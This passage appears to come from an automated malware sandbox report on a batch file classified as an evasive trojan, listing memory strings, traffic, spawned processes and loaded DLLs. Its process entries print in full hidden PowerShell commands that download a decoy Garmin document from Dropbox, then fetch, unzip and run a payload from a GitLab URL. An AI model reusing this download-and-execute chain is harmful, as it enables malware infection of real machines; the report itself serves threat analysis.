                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/static/serviceworker/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/v/s/playlist/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropboxstatic.com/static/
                  Source: powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/recaptcha/
                  Source: powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.googletagmanager.com/ns.html
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.gstatic.com/recaptcha/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.hellofax.com/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.hellosign.com/
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1884C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.paypal.com/sdk/js
                  Source: powershell.exe, 0000000F.00000002.2317473023.0000027151C12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.recaptcha.net/
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49704 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49725 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49718
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49704
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49718 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49725
                  Source: unknownHTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.5:49704 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49718 version: TLS 1.2
                  Source: classification engineClassification label: mal92.troj.evad.winBAT@30/16@2/2
                  Source: C:\Windows\System32\cmd.exeFile created: C:\Users\user\Desktop\tmpJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1560:120:WilError_03
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gfvaqpqo.uxo.ps1Jump to behavior
                  Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\hsfgdf17.bat" "
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Users\desktop.iniJump to behavior
                  Source: C:\Windows\System32\chcp.comKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                  Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\hsfgdf17.bat" "
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp.com 437
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /L /I set "C:\Users\user\Desktop\hsfgdf17.bat"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /L /I goto "C:\Users\user\Desktop\hsfgdf17.bat"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /L /I echo "C:\Users\user\Desktop\hsfgdf17.bat"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /L /I pause "C:\Users\user\Desktop\hsfgdf17.bat"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx'"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/garvdsf/dsfg/-/raw/main/FGa1712.zip', 'C:\Users\Public\Document.zip')"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command " C:\Users\Public\Document\pythonw.exe C:\Users\Public\Document\DLLs\ld_312.pd clickapp"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp.com 437Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe findJump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe findJump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmpJump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /L /I set "C:\Users\user\Desktop\hsfgdf17.bat"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /L /I goto "C:\Users\user\Desktop\hsfgdf17.bat"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /L /I echo "C:\Users\user\Desktop\hsfgdf17.bat"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /L /I pause "C:\Users\user\Desktop\hsfgdf17.bat"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmpJump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx'"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/garvdsf/dsfg/-/raw/main/FGa1712.zip', 'C:\Users\Public\Document.zip')"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command " C:\Users\Public\Document\pythonw.exe C:\Users\Public\Document\DLLs\ld_312.pd clickapp"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
                  Source: C:\Windows\System32\chcp.comSection loaded: ulib.dllJump to behavior
                  Source: C:\Windows\System32\chcp.comSection loaded: fsutilext.dllJump to behavior
                  Source: C:\Windows\System32\find.exeSection loaded: ulib.dllJump to behavior
                  Source: C:\Windows\System32\find.exeSection loaded: fsutilext.dllJump to behavior
                  Source: C:\Windows\System32\find.exeSection loaded: ulib.dllJump to behavior
                  Source: C:\Windows\System32\find.exeSection loaded: fsutilext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dlnashext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wpdshext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
